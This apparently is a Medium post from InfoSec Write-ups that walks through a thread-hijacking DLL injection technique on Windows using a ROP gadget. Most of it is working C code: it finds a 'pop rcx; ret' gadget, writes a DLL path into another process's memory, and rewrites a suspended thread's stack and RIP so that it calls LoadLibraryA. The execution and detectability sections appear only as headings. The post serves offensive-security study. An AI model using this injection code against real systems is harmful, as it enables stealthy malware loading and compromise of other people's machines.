InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Follow publication

T(ROP)H: Thread Hijacking with ROP

Umarex
InfoSec Write-ups
Published in
7 min readSep 17, 2024

TL;DR

CODE WALKTHROUGH

1. Find Gadget

BOOL FindGadgetInFunction(const CHAR* moduleName, BYTE* gadget, SIZE_T gadgetSize, LPVOID* oFoundAddress)
{
HMODULE hModule = GetModuleHandleA(moduleName);
if (hModule == NULL)
return FALSE;

PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);

BYTE* addressStart = (BYTE*)hModule;
DWORD textSectionSize = pSectionHeader->Misc.VirtualSize;

for (DWORD i = 0; i < textSectionSize - 3; i++) {
if (memcmp(addressStart + i, gadget, gadgetSize) == 0) {
*oFoundAddress = (LPVOID)(addressStart + i);
FreeLibrary(hModule);
return TRUE;
}
}

FreeLibrary(hModule);
return FALSE;
}

2. Write the DLL path into the target process’s memory.

 // Allocate rw memory in the target process for the DLL path
pRemoteDllPath = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pRemoteDllPath == NULL) {
printf("[-] Remote memory allocation failed\n");
PrintLastError();
goto Exit;
}
printf("[+] Remote memory allocated successfully: %p\n", pRemoteDllPath);

// Write the DLL path into the allocated memory in the target process
if (!WriteProcessMemory(hProcess, pRemoteDllPath, dllPath, strlen(dllPath) + 1, NULL)) {
printf("[-] Failed to write to the target process memory\n");
PrintLastError();
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
goto Exit;
}
printf("[+] DLL path successfully written to the target process memory\n");

3. Modify remote thread context

  // Suspend the thread to modify its context
SuspendThread(hRemoteThread);
GetThreadContext(hRemoteThread, &threadContext);

// Prepare the buffer with the DLL path and function pointers.

// RCX will hold the address of the DLL path in the target process.
// This value will be passed to LoadLibraryA after the "pop rcx; ret" gadget is executed.
*(DWORD64*)(buffer) = (DWORD64)pRemoteDllPath;

// The next value in the buffer is the return address, which will be the address of LoadLibraryA.
// After the "pop rcx; ret" gadget, the execution will jump to LoadLibraryA and use the
// value in RCX (the DLL path) as its argument.
*(DWORD64*)(buffer + 8) = (DWORD64)LoadLibraryA;

// After LoadLibraryA finishes executing and the DLL is loaded, the thread should cleanly exit.
// We ensure that the next value on the stack after the gadget execution is the address of ExitThread.
*(DWORD64*)(buffer + 16) = (DWORD64)ExitThread;

// Adjust the stack pointer (RSP). The decrement of 32 bytes ensures that the stack
// is properly aligned and avoids overwriting any important data.
threadContext.Rsp -= 32;

// Set the instruction pointer (RIP) to the gadget "pop rcx; ret".
threadContext.Rip = (DWORD64)pPopRcxRetGadgetAddr;

// Write the modified context (buffer) to the target thread's stack
if (!WriteProcessMemory(hProcess, (PVOID)(threadContext.Rsp), buffer, 24, NULL)) {
printf("[-] Failed to write to the target thread's stack\n");
PrintLastError();
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
goto Exit;
}
printf("[+] Successfully wrote to the target thread's stack\n");

// Overwrite the target thread's context with the new values
if (!SetThreadContext(hRemoteThread, &threadContext)) {
printf("[-] Failed to set the target thread's context\n");
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
goto Exit;
}
printf("[+] Thread context successfully overwritten\n");

// Wait before resuming the thread to ensure the context has been modified
Sleep(2000);

// Resume the hijacked thread
ResumeThread(hRemoteThread);
printf("[+] Remote thread successfully hijacked\n");

EXECUTION

DETECTABILITY

CONCLUSIONS

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

No responses yet

Write a response